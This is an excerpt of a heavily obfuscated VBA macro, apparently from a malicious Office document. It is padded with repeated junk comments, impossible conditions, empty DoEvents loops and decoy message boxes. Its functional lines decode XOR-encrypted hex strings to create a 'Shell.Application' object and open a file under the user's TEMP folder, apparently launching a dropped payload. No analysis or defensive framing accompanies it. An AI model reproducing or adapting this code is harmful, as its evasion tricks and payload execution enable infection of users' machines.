- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim hljvAJQz As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For hljvAJQz = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next hljvAJQz
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Close #RVDHCWIGIMP
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 124517 = 124517 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 1379 < 75 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim SLgnnXsE As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim KajnwyBN As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For KajnwyBN = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next KajnwyBN
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- SLgnnXsE = 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While SLgnnXsE < 21
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ooItKlEe As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For ooItKlEe = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next ooItKlEe
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: SLgnnXsE = SLgnnXsE + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim GxnQAPAc As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For GxnQAPAc = 0 To 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next GxnQAPAc
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim lVrxNfJx As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For lVrxNfJx = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next lVrxNfJx
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("wZlHvwrz59")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len("mGILexpg8336") = Len("YfOhrqeS") Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim WGrmqLsz As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim YwtllDbf As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For YwtllDbf = 0 To 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next YwtllDbf
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- WGrmqLsz = 3
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While WGrmqLsz < 93
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim CbUhPjir As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For CbUhPjir = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next CbUhPjir
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: WGrmqLsz = WGrmqLsz + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim lVzFlyTs As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For lVzFlyTs = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next lVzFlyTs
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim IqCemjVo As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For IqCemjVo = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next IqCemjVo
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox ("Error !!!")
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim pyTskYTz As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ZMLlgoKq As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For ZMLlgoKq = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next ZMLlgoKq
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- pyTskYTz = 6
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While pyTskYTz < 36
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim IdFSWqrU As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For IdFSWqrU = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next IdFSWqrU
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: pyTskYTz = pyTskYTz + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim rQuhhQlq As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For rQuhhQlq = 0 To 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next rQuhhQlq
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim cbouzMFo As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For cbouzMFo = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next cbouzMFo
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Set GBIviviu67FUGBK = CreateObject(XORI(Hextostring("1A0337063974081B22063C39281F3B053B"), Hextostring("496B526A555A")))
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- GBIviviu67FUGBK.Open Environ(XORI(Hextostring("35292B28"), Hextostring("616C667875"))) & XORI(Hextostring("310F1328182D27340F1C31074D171529"), Hextostring("6D4C447A4B6372"))
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 843242 = 843242 + 1 Then End
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If 8291 < 26 Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim rgYIYBGU As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim UlpsgnCI As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For UlpsgnCI = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next UlpsgnCI
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- rgYIYBGU = 5
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While rgYIYBGU < 83
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim bhXgjHQl As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For bhXgjHQl = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next bhXgjHQl
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: rgYIYBGU = rgYIYBGU + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim WGfXbaMk As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For WGfXbaMk = 0 To 7
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next WGfXbaMk
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim gZkROGZb As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For gZkROGZb = 0 To 2
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next gZkROGZb
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox (XORI(Hextostring("2F10112B222F2B255E5A"), Hextostring("414A68634648")))
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- If Len(XORI(Hextostring("1A2A040F2A113F1E7E474F7F"), Hextostring("757A48"))) = Len(XORI(Hextostring("05013B123E223517"), Hextostring("646D6D6B70"))) Then
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim NHdqSqjl As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim QVBBRVlW As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For QVBBRVlW = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next QVBBRVlW
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- NHdqSqjl = 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Do While NHdqSqjl < 41
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim loNyYxqH As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For loNyYxqH = 0 To 8
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next loNyYxqH
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents: NHdqSqjl = NHdqSqjl + 1
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ndplcqeU As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For ndplcqeU = 0 To 4
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next ndplcqeU
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Loop
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim LaqppmcT As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For LaqppmcT = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Next LaqppmcT
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- MsgBox (XORI(Hextostring("1110343D2048754367"), Hextostring("546246525268")))
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- End If
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim AZClcOoy As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- Dim ilOjdGwp As Integer
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- For ilOjdGwp = 0 To 9
- 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
- DoEvents
